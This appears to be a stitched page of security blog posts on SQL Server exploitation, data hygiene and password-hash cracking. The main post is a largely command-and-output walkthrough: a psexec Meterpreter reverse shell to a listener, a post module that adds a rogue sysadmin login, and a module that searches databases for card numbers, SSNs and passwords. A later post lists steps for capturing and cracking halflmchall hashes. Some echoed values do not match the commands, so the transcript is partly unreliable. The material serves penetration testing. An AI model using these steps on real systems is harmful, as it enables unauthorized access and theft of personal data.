In Microsoft SQL Server versions prior to 2008, local operating system admins where automatically assigned database admin privileges. Microsoft eventually came to the conclusion that this was a bad idea, and now local operating system administrators don’t automatically get database admin privileges. However, there are a few weaknesses in the implementation that allow the local administrators to bypass the current controls and (you guessed it) obtain database admin privileges. If you’re interested in the details I recommend reading my previous blog here. In this blog I’ll be providing a practical example that shows how the new Metasploit post module I created can be used to gain unauthorized access to SQL Server data.
There are many ways to get a Meterpreter shell, but in the example below I’ve used psexec.
root@bt:# msfconsole
msf> use exploit/windows/smb/psexec
msf> set SMBUSER eviladmin
msf> set SMBPASS MyOSadminpw!
msf> set SMBDOMAIN .
msf> set RHOST 192.168.1.100
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.30.134:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.100:445 as user 'eviladmin'...
[*] Uploading payload...
[*] Created srWVzGiR.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (HxjIGKLw - "MUmzqsreRIMABBqEIFRdqfUv")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting srWVzGiR.exe...
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.30.134:4444 -> 192.168.1.100:1028)
meterpreter >
Create a Sysadmin Login
Below is an example of how to configure and run the “mssql_local_auth_bypass” Metasploit module from the existing Meterpreter session to add a new sysadmin login.
meterpreter > background
msf exploit(psexec) > use post/windows/manage/mssql_local_auth_bypass
msf post(mssql_local_auth_bypass) > set DB_USERNAME MyNewSysadmin
DB_USERNAME => MyNewSysadmin
msf post(mssql_local_auth_bypass) > set DB_PASSWORD MyHardP@$$w0rd
DB_PASSWORD => mMyHardP@$$w0rd
msf post(mssql_local_auth_bypass) > set SESSION 1
msf post(mssql_local_auth_bypass) > exploit
[*] Running module against LVA
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to add new login MyNewSysadmin...
[+] Successfully added login "MyNewSysadmin" with password "MyHardP@$$w0rd"
[*] Attempting to make MyNewSysadmin login a sysadmin...
[+] Successfully added "MyNewSysadmin" to sysadmin role
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >
Here is a video example showing how to create a SQL login with sysadmin privileges using the new module:
Log into SQL Server
Below is a basic example of how to log into an SQL Server with the new sysadmin login:
Verifying with SQL Management Studio Express that we have sysadmin privileges:
Search for Sensitive Data
With a little guidance from the community I was also able to put together another Metasploit module a while ago for finding sensitive data on SQL Servers. Below is a basic example of using our new sysadmin login to search for data on a database server. Key features of this module include searching based on keywords, setting a sample size, and exporting the results to a CSV file for auditing for easy bedtime reading. I typically use it for finding credit cards, social security numbers, and passwords in SQL Server databases. If you are interested in learning more about PCI specific stuff Chris wrote a nice blog here.
root@bt:# msfconsole
msf> use auxiliary/windows/mssql/admin/mssql_findandsampledata
msf> auxiliary(mssql_findandsampledata) > set PASSWORD MyHardP@$$w0rd
PASSWORD => superpassword
msf auxiliary(mssql_findandsampledata) > set USERNAME MyNewSysadmin
USERNAME => superadmin
msf auxiliary(mssql_findandsampledata) > set SAMPLE_SIZE 5
SAMPLE_SIZE => 5
msf auxiliary(mssql_findandsampledata) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.30.131
msf auxiliary(mssql_findandsampledata) > exploit
[*] Attempting to connect to the SQL Server at 192.168.1.100...
[*] Successfully connected to 192.168.1.100:1433
[*] Attempting to retrieve data ...
Here is a video example showing how to find sensitive data with the module:
Remove Sysadmin Login
Below is an example of how to remove the account when you’re finished searching for sensitive data.
msf post(mssql_local_auth_bypass) > set DB_USERNAME MyNewSysadmin
DB_USERNAME => MyNewSysadmin
msf post(mssql_local_auth_bypass) > set REMOVE_LOGIN true
REMOVE_LOGIN => true
msf post(mssql_local_auth_bypass) > exploit
[*] Running module against LVA
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to remove login "MyNewSysadmin"
[+] Successfully removed login "MyNewSysadmin"
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >
Here is a video example showing how to remove the sysadmin login with the module when your done:
Wrap Up
Hopefully the new auth bypass and the data scraping modules are helpful to someone. Both of them were accepted into the main Metasploit trunk so you should be able to simply update Metasploit to get them. If anyone has questions or comments, let me know. In the meantime, have fun and hack responsibly!
Physical artifacts are amazing little (okay sometimes big) things that give us insight into how earlier civilizations lived, worked, and played. These rediscovered relics provide such useful information that we wouldn’t otherwise have about such time-frames and people. Virtual artifacts are rather similar, just less tangible. Virtual artifacts run the gamut from computer generated artwork, photographs of family, and other critical files denoting and cataloging our (virtual) lives. However, they also include forgotten or discarded files that were never deleted (of course the true digital archaeologist knows how to dig even deeper to get files not securely deleted). As such, virtual artifacts provide keen insight into a system and the system’s owner. Including such files that we probably would have preferred never to see the light of day again. So why should we concern ourselves with these little remnants in our organization’s computer systems? The obvious concern is that of hackers (both internal and external). Virtual artifacts can affect your compliance efforts even without hackers as part of the equation. Depending upon the quantity of information stored in the files (such as data dumps from databases, debug logs, etc.) you may face some potential breach notification issues with significant consequences. These may also undermine all the scoping efforts performed to date, specifically relating to PCI. If those files remain on a file server that is discovered during an assessment, your cardholder data just ballooned beyond the comfort level. During ISO reviews, these artifacts may be as helpful as a hostile witness to your (re)certification case. Alongside these are internal policy violations which may compromise sensitive internal information (employee information such as payroll, etc.). So how do we combat these virtual artifacts within our organization? In essence, where do we start to dig within our virtual landscape? As unfavorable as it may seem, you start at the system most likely to contain such files and just keep going. There are tools that can help automate this process. First think like an attacker; NetSPI’s Assessment Team does just that during penetration tests. They look for unprotected and residual data (the files that are just “left out there”); this includes sensitive data (PII, PHI, cardholder data, passwords, etc.) through generic file system searches. While not overly glamorous, sometimes the simplest method is the best. Then they scour multiple systems at once through spider or crawler tools, and even look at databases and their output. Speaking of, Scott Sutherland has a new blog post that includes finding potentially sensitive information within SQL databases. They find where programmers are leaving their specific output files, debug logs, etc. Sometimes the most nondescript system can have that file you don’t want to see the light of day. So how often should you be performing these internal reviews? It partly depends on your organization’s propensity to leave virtual golden idols lying around and how effective your defenses / controls are. If movies have taught us anything is that the truly daring individual can overcome most controls if the gains are substantial enough. The best defense is to have guidelines for employees (especially those in positions that generate, or even have the ability to generate) to securely delete files no longer needed (i.e., don’t store the golden idols on pedestals where the sunlight gleams off them like a beacon). For a more realistic example, an application owner or custodian should ensure that their application’s logs that include sensitive information are properly secured behind active access controls, temporary logs are immediately deleted when no longer needed, and the passwords to the system are secured (encrypted), etc. Some may respond and say that the Data Loss Prevention (DLP) tool will catch these, so we are good to go. However some organizations implement a DLP tool focusing on one aspect only (Network, Storage, or End-Point). Each of these components can be overcome through various means. Blowguns (Storage controls), weight-monitoring pedestals (End-Point controls), and giant boulders closing the opening (Network controls) can be all be bypassed by careful and skilled virtual archaeologists. It’s not uncommon for a found stray file to compromise an organization’s compliance efforts. By reviewing your environment proactively you also help make the case that your organization is performed the necessary due diligence should an incident occur. But then the point is to find those files first, leaving nothing for the tomb raiders.
Frequently during penetration tests, we will capture halflmchall password hashes from the network. These can come from a variety of sources, but common sources include NBNS spoofing and SQL queries/SQL injection. Both methods can be easy ways to get halflmchall hashes during a pen test.
For those who are unfamiliar with halflmchall hashes and how they are created, the process is pretty simple. When a client makes an authentication request with a server, the server responds with a challenge (which is basically a seed value used for hashing) for the client to use. If we are acting as the server, we can specify the challenge and the authentication protocol that we want to use. If we have a static challenge (1122334455667788) and a weak authentication protocol (LANMAN v1), we’re able to quickly look up the captured hashes in rainbow tables. Now, this isn’t the full technical detail of the process, but hopefully this gives you a good idea as to how this can work to our advantage.
For a much more in-depth review of the process, here’s a great write up – https://www.foofus.net/?page_id=63 The typical capture to cracked password process goes like this:
Obtain a man-in-the-middle position, or force a server to authenticate to your evil server.
Capture the hash (via SMB or HTTP servers).
Look up the first 16 characters of the captured LM hash in the HalfLMChall rainbow tables.
Use the cracked portion of the LM hash to feed into the John the Ripper netntlm.pl script to crack the rest of the LM hash.
Feed the case insensitive password (from step 3) back into the netntlm.pl script to crack the case sensitive NTLM hash and get the full password.
The cracking process goes pretty quickly, but it does require multiple commands to run that includes some copy and paste work. I’ve found that this process takes up more of my time than I would like, so I wrote a PowerShell script to automate the whole cracking process.
PowerShell cracking script requirements:
The halflmchall rainbow tables
Rcracki_mt
John the Ripper (Jumbo release)
Perl (required to run netntlm.pl)
You will also need to enable PowerShell to run scripts: “Set-ExecutionPolicy RemoteSigned”
Within the script you will have to specify your John, rcrack, Perl, and rainbow table locations, but you should be able to run the script from any directory.
The script usage is simple:
PS_MultiCrack.ps1 Input_File Output_File
You should be able to use the john formatted output file generated from the metasploit modules, but below is the basic format that the script will require:
The “1122334455667788” is the default static salt that is used by most of the tools used for capturing the hashes. It’s also the salt used by the rainbow tables (Download here).
The script will write out each username and password to the output file when it’s done. Hashes that are already in the john.pot file will be prefixed in your output file as “Previously Cracked:” so that you don’t have to worry about cleaning out your input file as you add more hashes. Additionally, the script won’t go through the effort of cracking the same hash again, as that would be a waste of time.
If you have any comments, suggestions, issues, please let me know through here or GitHub and I’ll try to address them.
Antti and I had a great time presenting “SQL Server Exploitation, Escalation, and Pilfering” at the OWASP AppSec 2012 conference in Austin a few weeks ago. Thank you to everyone who came out. The attendance and feedback were very much appreciated. For those of you who couldn’t make it, we’ve put together this blog to provide access to the presentation slides, Metasploit modules, and demo videos we released at the conference. Also, we’ll be presenting it as a webinar on November 15, 2012. You should be able sign up on the NetSPI website if you’re interested. I would also like to call out that there were quite a few great talks at the conference. It sounds like the videos will be released in a few weeks. My guess is that they will let people know via www.appsecusa.org or the appsecusa Twitter feed. I recommend checking them out.
Presentation Summary and Slides
Below is a summary description our presentation slide deck. If you’re interested in downloading it you can grab it from here or you can view it on Slideshare. During this presentation attendees will be introduced to lesser known, yet significant vulnerabilities in SQL Server implementations related to common trust relationships, misconfigurations, and weak default settings. The issues that will be covered are often leveraged by attackers to gain unauthorized access to high value systems, applications, and sensitive data. An overview of each issue, common vectors of attack, and manual techniques will be covered. Finally newly created Metasploit modules and TSQL scripts will be demonstrated that help automate the attacks. This presentation will be valuable to penetration testers who are looking for faster ways to gain access to critical data and systems. Additionally, it should be worth while for developers and database administrators who are interested in gaining a better understanding of how to protect their applications and databases from these attacks.
Eventually Antti and I will provide more detailed blogs for each of the attacks we included in the presentation. My hope is that we’ll also find the time to write some data scraper modules for database links. If anyone has any questions, comments, or corrections please feel free to contact me. In mean time, have fun and hack responsibly.
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
Name
Domain
Purpose
Expiry
Type
YSC
youtube.com
YouTube session cookie.
52 years
HTTP
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Name
Domain
Purpose
Expiry
Type
VISITOR_INFO1_LIVE
youtube.com
YouTube cookie.
6 months
HTTP
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
We do not use cookies of this type.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
We do not use cookies of this type.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
We do not use cookies of this type.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Cookie Settings
Discover why security operations teams choose NetSPI.